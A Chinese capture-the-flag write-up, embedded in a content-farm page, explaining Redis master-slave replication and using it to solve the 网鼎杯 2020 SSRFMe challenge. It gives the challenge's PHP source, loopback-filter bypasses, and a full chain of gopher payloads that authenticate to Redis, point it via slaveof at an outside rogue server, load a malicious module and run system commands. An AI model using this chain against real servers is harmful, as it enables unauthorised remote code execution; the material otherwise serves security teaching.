当前位置: 首页 > news >正文

做营销网站 如何让商家入驻玉儿做春梦网站

做营销网站 如何让商家入驻,玉儿做春梦网站,如何自己创建app软件,购物网站建设开题报告文章目录 前置知识概念redis常用命令redis module 利用条件利用工具思路例题 [网鼎杯 2020 玄武组]SSRFMe总结 前置知识 概念 背景是多台服务器要保存同一份数据,如何实现其一致性呢?数据的读写操作是否每台服务器都可以处理?这里Redis就提供…

文章目录

  • 前置知识
    • 概念
    • redis常用命令
    • redis module
  • 利用条件
  • 利用工具
  • 思路
  • 例题 [网鼎杯 2020 玄武组]SSRFMe
  • 总结


前置知识

概念

背景是多台服务器要保存同一份数据,如何实现其一致性呢?数据的读写操作是否每台服务器都可以处理?这里Redis就提供了主从复制的模式来避免此问题

主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点(slave);

主服务器可以进行读写操作,当发生写操作时自动将写操作同步给从服务器,而从服务器一般是只读,并接受主服务器同步过来写操作命令,然后执行这条命令。
在这里插入图片描述也就是说,所有的数据修改只在主服务器上进行,然后将最新的数据同步给从服务器,这样就使得主从服务器的数据是一致的。

建立主从复制,有3种方式:

  1. 配置文件写入 slaveof <master_ip> <master_port>
  2. redis-server启动命令后加入 --slaveof <master_ip> <master_port>
  3. 连接到客户端之后执行:slaveof <master_ip> <master_port>

PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作

我们先在同一个机器开两个redis实例,一个端口为6379,一个端口为6380
我们把master_ip设置为127.0.0.1,master_port为6380

root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> SLAVEOF 127.0.0.1 6380
OK
127.0.0.1:6379> get test
(nil)
127.0.0.1:6379> exit
root@kali:/usr/bin# redis-cli -p 6380
127.0.0.1:6380> get test
(nil)
127.0.0.1:6380> set test "test"
OK
127.0.0.1:6380> get test
"test"
127.0.0.1:6380> exit
root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> get test
"test"

我们可以明显看到数据达到了同步的效果

redis常用命令

set xz "Hacker"                     # 设置键xz的值为字符串Hacker
get xz                              # 获取键xz的内容
SET score 857                       # 设置键score的值为857
INCR score                          # 使用INCR命令将score的值增加1
GET score                           # 获取键score的内容
keys *                              # 列出当前数据库中所有的键
config set protected-mode no        # 关闭安全模式
get anotherkey                      # 获取一个不存在的键的值
config set dir /root/redis          # 设置保存目录
config set dbfilename redis.rdb     # 设置保存文件名
config get dir                      # 查看保存目录
config get dbfilename               # 查看保存文件名
save                                # 进行一次备份操作
flushall                            # 删除所有数据
del key                             # 删除键为key的数据
slaveof ip port                     # 设置主从关系
redis-cli -h ip -p 6379 -a passwd   # 外部连接

redis module

自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。 Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

利用条件

未授权访问 : 未启用认证功能或认证密码为空,用户可直接连接
授权访问 : 能通过弱口令认证或者直接知道认证密码访问到Redis服务器

利用工具

下载前面用到的两个工具,

https://github.com/n0b0dyCN/redis-rogue-server
redis-rogue-server,未授权使用,python3.5以上

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server
Awsome-Redis-Rogue-Server,有授权使用

备注:、工具二的使用需要把工具一的exp.so复制到该目录下

思路

了解完redis的主从复制的相关知识后我们可以尝试如何实现RCE

某个目标靶机存在ssrf漏洞,我们可以自己搭建一个redis服务器作为目标靶机的主服务器,也就是说我们在redis服务器恶意构造.so文件,通过主从复制的模式到该目标靶机实现RCE

例题 [网鼎杯 2020 玄武组]SSRFMe

本题利用工具为Awsome-Redis-Rogue-Server

题目源码如下

 <?php
function check_inner_ip($url)
{$match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url);if (!$match_result){die('url fomat error');}try{$url_parse=parse_url($url);}catch(Exception $e){die('url fomat error');return false;}$hostname=$url_parse['host'];$ip=gethostbyname($hostname);$int_ip=ip2long($ip);return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;
}function safe_request_url($url)
{if (check_inner_ip($url)){echo $url.' is inner ip';}else{$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);$result_info = curl_getinfo($ch);if ($result_info['redirect_url']){safe_request_url($result_info['redirect_url']);}curl_close($ch);var_dump($output);}}
if(isset($_GET['url'])){$url = $_GET['url'];if(!empty($url)){safe_request_url($url);}
}
else{highlight_file(__FILE__);
}
// Please visit hint.php locally.
?> 

分析一下

  1. 给了check_inner_ip函数,首先过滤了一些协议和符号,然后将传参的url进行解析,并把键名host值赋值给变量hostname,然后执行$ip=gethostbyname($hostname); $int_ip=ip2long($ip);最后进行移位并返回值
  2. safe_request_url函数首先判断是否为inner的ip,如果不是则可以利用ssrf漏洞
  3. 最后提示可以去看看hint.php

对于check_inner_ip函数作用我们可以本地测试一下

<?php
print_r("ip2long('127.0.0.0')>>24结果为:");
echo ip2long('127.0.0.0')>>24;
echo '<br>';
print_r("ip2long('10.0.0.0:0')>>24结果为:");
echo ip2long('10.0.0.0')>>24;
echo '<br>';
print_r("ip2long('172.16.0.0')>>20结果为:");
echo ip2long('172.16.0.0')>>20;
echo '<br>';
print_r("ip2long('192.168.0.0')>>16结果为:");
echo ip2long('192.168.0.0')>>16;
echo '<br>';

结果如下
在这里插入图片描述
这样的话我们就不能直接访问127.0.0.1了,绕过方法给出两种(算出来的值为0即可实现绕过)
方法一

http://0.0.0.0/hint.php

方法二

http://[0:0:0:0:0:ffff:127.0.0.1]/hint.php

成功绕过
在这里插入图片描述
提示了redis数据库,认证密码为root。现在开始getshell

准备过程:将redis-rogue-server的exp.so文件复制到Awsome-Redis-Rogue-Server中,使用Awsome-Redis-Rogue-Server工具开启主服务,并且恶意so文件指定为exp.so,因为exp.so里面有system模块

本地用的是内网穿透,开启主服务

# lport就是指定攻击机的ip和端口的,我们是内网穿透映射到虚拟机的1028端口
python3 redis_rogue_server.py -v -path exp.so -lport 1028

执行完就会开始监听
在这里插入图片描述
然后就是gopher协议联动redies

首先设置备份路径

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dir /tmp/
quit

题目返回三个OK
在这里插入图片描述

生成一个exp.so文件 再设置主从关系(ip改为公网服务器的)

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%25205i781963p2.yicp.fun%252058265%250d%250aquit#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dbfilename exp.so
slaveof 5i781963p2.yicp.fun 58265  
quit

返回四个OK
在这里插入图片描述
我们看看刚刚在linux下监听情况,发现主从同步能够看到回显,会一直同步
在这里插入图片描述

然后继续加载模块

gopher://0.0.0.0:6379/_auth%2520root%250d%250amodule%2520load%2520./exp.so%250d%250aquit#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
module load ./exp.so
quit

返回三个OK
在这里插入图片描述

关闭关闭主从同步

gopher://0.0.0.0:6379/_auth%2520root%250d%250aslaveof%2520NO%2520ONE%250d%250aquit#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
slaveof NO ONE
quit

返回三个OK
在这里插入图片描述关闭后去看刚刚监听的地方会返回pong
在这里插入图片描述

导出数据库
(设置备份文件名字)

gopher://0.0.0.0:6379/_auth%2520root%250d%250aconfig%2520set%2520dbfilename%2520dump.rdb%250d%250aquit#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
config set dbfilename dump.rdb
quit

返回三个OK

最后命令执行获取flag

gopher://0.0.0.0:6379/_auth%2520root%250d%250asystem.exec%2520%2522cat%2520%252Fflag%2522%250d%250aquit#上述payload的解码结果
gopher://0.0.0.0:6379/_auth root
system.exec "cat /flag"
quit

在这里插入图片描述


总结

捣鼓了一整天都没做出来,最后发现还是工具的选择和对redis主从复制执行过程的问题。好在是做出来了。

http://www.yayakq.cn/news/180968/

相关文章:

  • 无锡网站优化哪家好网站建设架构图
  • 个人网站备案可以做公司网站用网页制作的工作岗位
  • 建立网站的优势商梦建站
  • 建设网站所需的费用的估算趣味网页制作
  • 哈尔滨企业自助建站公司网站系统建设策划书
  • 江阴公司做网站个人网站名称怎么起
  • 网站建设项目实训报告宁波网站关键词优化公司
  • 金鹏建设集团网站网店推广的方法有哪些
  • 青岛路桥建设集团有限公司网站网站备案 费用
  • 网站 建设在作用是什么意思网址大全2345下载安装
  • 招聘类网站怎么做南平住房和城乡建设部网站
  • 有什么专业做心理的网站做可视化图表的网站
  • 用vs2012做网站案例企业名称注册查询
  • 玉环建设规划局网站电子商务网站建设论文结论
  • 百度怎么建立自己的网站互联网行业网站设计
  • 网站推广计划方法有引导的网站
  • 多用户网站建设方案街道门户网站的建设思路
  • 邢台网站建设邢台辽宁省建设厅投诉网站
  • 襄阳做网站做家庭影院的有哪些网站
  • 郑州手工网站建设排名优化网站seo排名
  • 站长工具平台代码html
  • 南京重庆网站建设舟山房产信息交易网
  • 杭州哪家做外贸网站好写文章赚稿费的app
  • 地方门户网站的发展投资理财培训网站建设
  • 沈阳专业做网站方案天河建设网站公司排名
  • 重庆找工作哪个网站好科技改变生活
  • 网站开发中系统部署与维护要求网站做导航设计的作用是什么意思
  • 信阳市网站建设做网站给菠菜引流
  • 淮滨网站建设凡科网是做什么的
  • 如何建立网站站点上海市建设干部学校网站